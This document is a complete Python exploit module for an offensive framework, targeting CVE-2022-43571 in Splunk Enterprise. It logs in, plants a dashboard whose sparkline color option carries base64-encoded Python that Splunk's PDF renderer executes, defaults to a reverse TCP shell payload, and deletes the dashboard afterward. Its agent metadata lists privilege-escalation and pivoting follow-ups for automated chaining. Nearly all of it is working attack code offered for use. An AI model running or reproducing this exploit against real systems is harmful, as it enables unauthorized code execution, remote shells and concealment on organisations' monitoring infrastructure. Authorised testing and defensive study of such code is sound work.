Splunk Authenticated RCE via SimpleXML Dashboard PDF (CVE-2022-43571)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from __future__ import annotations

import base64
import html
import random
import string
import time
from typing import Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.splunk import Splunk


class Module(Exploit, Http_client, Splunk):

    __info__ = {
        "name": "Splunk Authenticated RCE via SimpleXML Dashboard PDF (CVE-2022-43571)",
        "description": (
            "Exploits CVE-2022-43571 in Splunk Enterprise: authenticated Python code "
            "injection via sparkline style parameters (fillColor/lineColor) in a "
            "SimpleXML dashboard. Payload executes when PDF export is triggered. "
            "Affected: versions prior to 8.1.12, 8.2.0 through 8.2.8, and 9.0.0 "
            "through 9.0.1. Requires credentials with dashboard create + PDF export."
        ),
        "author": [
            "Danylo Dmytriiev",  # Vulnerability Discovery
            "psytester",  # Public Exploit
            "Maksim Rogov",  # Metasploit Module
            "KittySploit Team",
        ],
        "cve": ["CVE-2022-43571"],
        "arch": [Arch.PYTHON],
        "platform": Platform.MULTI,
        "payload": {
            "default": "payloads/singles/cmd/unix/python_reverse_tcp",
            "arch": Arch.PYTHON,
            "platform": [Platform.UNIX, Platform.LINUX, Platform.MULTI],
            "category": PayloadCategory.SINGLE,
        },
        "references": [
            "https://advisory.splunk.com/advisories/SVD-2022-1111",
            "https://www.splunk.com/en_us/product-security/announcements/svd-2022-1111.html",
            "https://web.archive.org/web/20221218233608/https://psytester.github.io/CVE-2022-43571_SPLUNK_RCE/",
            "https://nvd.nist.gov/vuln/detail/CVE-2022-43571",
        ],
        "tags": [
            "splunk",
            "authenticated",
            "rce",
            "pdf",
            "dashboard",
            "simplexml",
            "cve-2022-43571",
            "siem",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 8,
            "reversible": True,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.6,
            "value": 1.2,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["splunk"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {"splunk": 0.3},
                "confidence_min_any": {},
                "endpoint_pattern_any": [
                    "/en-US/account/login",
                    "/services/server/info",
                ],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    port = OptPort(8000, "Splunk web port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=False)
    path = OptString("/", "Base path to Splunk web", required=False)
    username = OptString("admin", "Username with permission to create dashboards", required=True)
    password = OptString("", "Password for the specified username", required=True)
    use_inline_splunk_query = OptBool(
        False,
        "Use makeresults SPARKLINE query instead of system indexes (_internal/_audit)",
        required=False,
    )
    cleanup = OptBool(True, "Delete the malicious dashboard after exploit", required=False)
    cleanup_delay = OptFloat(
        3.0,
        "Seconds to wait before deleting the dashboard (gives payload time to run)",
        required=False,
        advanced=True,
    )

    def __init__(self, framework=None):
        super().__init__(framework)
        self._target_app: Optional[str] = None
        self._dash_name: Optional[str] = None
        self._logged_in = False

    @staticmethod
    def _rand_alnum(low: int = 8, high: int = 16) -> str:
        n = random.randint(low, high)
        alphabet = string.ascii_letters + string.digits
        return "".join(random.choice(alphabet) for _ in range(n))

    @staticmethod
    def _rand_alpha(low: int = 8, high: int = 16) -> str:
        n = random.randint(low, high)
        return "".join(random.choice(string.ascii_letters) for _ in range(n))

    def _gen_inline_splunk_query(self) -> str:
        row_id_name = self._rand_alnum()
        arr_field = self._rand_alpha()
        rand_count = random.randint(100, 500)
        step = random.randint(2, 15)
        col_count = random.randint(3, 10)
        column_names = [self._rand_alnum() for _ in range(col_count)]
        delimiter = random.choice([";", "|", ":", "#", "!"])
        names_string = delimiter.join(column_names)
        return (
            f"| makeresults count={rand_count}\n"
            f"| streamstats count as {row_id_name}\n"
            f"| eval _time = now() - ({row_id_name} * {step}),\n"
            f'       {arr_field} = split("{names_string}", "{delimiter}"),\n'
            f"       sourcetype = mvindex({arr_field}, {row_id_name} % {col_count})\n"
            f"| chart sparkline count by sourcetype"
        )

    def _get_system_index_splunk_query(self) -> str:
        rand_tail = random.randint(100, 200)
        index = random.choice(["_internal", "_audit", "_introspection"])
        return f"index={index} | tail {rand_tail} | chart sparkline count by sourcetype"

    def _python_payload_code(self) -> str:
        """Build Python source that Splunk's PDF renderer will evaluate."""
        raw = str(self.payload).strip() if self.payload else ""
        if not raw:
            return ""

        # Prefer wrapping the generated command (typical KittySploit payload) in
        # a base64-decoded os.system call so quotes/newlines cannot break XML/eval.
        cmd_b64 = base64.b64encode(raw.encode("utf-8")).decode("ascii")
        return (
            "__import__('subprocess').Popen("
            f"__import__('base64').b64decode('{cmd_b64}').decode(),shell=True)"
        )

    def _get_malicious_dashboard_template(self, python_payload: str) -> str:
        if bool(self.use_inline_splunk_query):
            splunk_query = self._gen_inline_splunk_query()
        else:
            splunk_query = self._get_system_index_splunk_query()

        style_param = random.choice(["lineColor", "fillColor"])
        # Element text content: escape XML specials only (not quotes) so Python
        # source stays valid after the dashboard XML is parsed.
        escaped_payload = html.escape(python_payload, quote=False)

        # Indentation stripped to mirror Metasploit's gsub(/^\s+/, '')
        raw = f"""
        <dashboard>
            <row>
                <panel>
                    <table>
                        <search>
                        <query>
                            {splunk_query}
                        </query>
                        </search>
                        <format field="sparkline" type="sparkline">
                        <option name="{style_param}">{escaped_payload}</option>
                        </format>
                    </table>
                </panel>
            </row>
        </dashboard>
        """
        return "".join(line.lstrip() for line in raw.strip().splitlines(True))

    def _is_vulnerable_version(self, version: str) -> bool:
        return (
            self.splunk_version_between(version, "8.1.0", "8.1.11")
            or self.splunk_version_between(version, "8.2.0", "8.2.8")
            or self.splunk_version_between(version, "9.0.0", "9.0.1")
        )

    def _cleanup_dashboard(self) -> None:
        if not self._target_app or not self._dash_name:
            return
        delay = max(float(self.cleanup_delay or 0.0), 0.0)
        if delay:
            print_status(f"Waiting {delay}s before dashboard cleanup")
            time.sleep(delay)
        print_status(f"Deleting dashboard {self._dash_name!r} from app {self._target_app!r}")
        if not self.splunk_delete_dashboard(self._target_app, self._dash_name):
            print_warning(
                f"Failed to delete dashboard {self._dash_name!r} "
                f"(app={self._target_app!r}) — remove it manually if needed"
            )
        else:
            print_success("Dashboard deleted")

    def check(self):
        print_status(f"Authenticating to Splunk as {self.username!r}")
        if not self.splunk_login(str(self.username), str(self.password)):
            return {
                "vulnerable": False,
                "reason": "Login failed — check credentials / target",
                "confidence": "low",
            }
        self._logged_in = True

        version = self.splunk_home_version()
        if not version:
            version = self.splunk_version_authenticated(str(self.username))
        if not version:
            version = self.splunk_login_version()

        if not version:
            return {
                "vulnerable": False,
                "reason": "Target does not appear to be Splunk or version is unknown",
                "confidence": "low",
            }

        print_status(f"Splunk version: {version}")
        if self._is_vulnerable_version(version):
            return {
                "vulnerable": True,
                "reason": f"Exploitable Splunk version found: {version}",
                "confidence": "high",
            }

        return {
            "vulnerable": False,
            "reason": f"Non-vulnerable Splunk version found: {version}",
            "confidence": "high",
        }

    def run(self):
        python_code = self._python_payload_code()
        if not python_code:
            print_error("No payload available — configure payload and LHOST/LPORT")
            return False

        if not self._logged_in:
            print_status(f"Authenticating as {self.username!r}")
            if not self.splunk_login(str(self.username), str(self.password)):
                print_error("Unable to login")
                return False
            print_success("Login successful")
            self._logged_in = True

        version = self.splunk_home_version()
        if version:
            print_status(f"Splunk version: {version}")
            if not self._is_vulnerable_version(version):
                print_warning(
                    f"Version {version} is outside the known vulnerable ranges; "
                    "continuing anyway"
                )

        template = self._get_malicious_dashboard_template(python_code)
        self._target_app = self.splunk_get_random_app(enabled_only=True) or "search"
        self._dash_name = self._rand_alnum()

        print_status(
            f"Creating malicious dashboard {self._dash_name!r} "
            f"in app {self._target_app!r}"
        )
        if not self.splunk_create_dashboard(
            self._target_app, self._dash_name, template
        ):
            print_error("Failed to create dashboard (need create_views / admin role?)")
            return False
        print_success("Dashboard created")

        try:
            print_status("Triggering PDF export (executes injected Python)")
            res = self.splunk_export_dashboard(self._target_app, self._dash_name)
            if res is None:
                print_success(
                    "No HTTP response / timeout during PDF export "
                    "(expected when payload blocks) — check handler"
                )
            else:
                print_status(
                    f"PDF export returned HTTP {res.status_code} — verify session/handler"
                )
            self.vulnerable()
            return True
        finally:
            if bool(self.cleanup):
                try:
                    self._cleanup_dashboard()
                except Exception as exc:
                    print_warning(f"Cleanup failed: {exc}")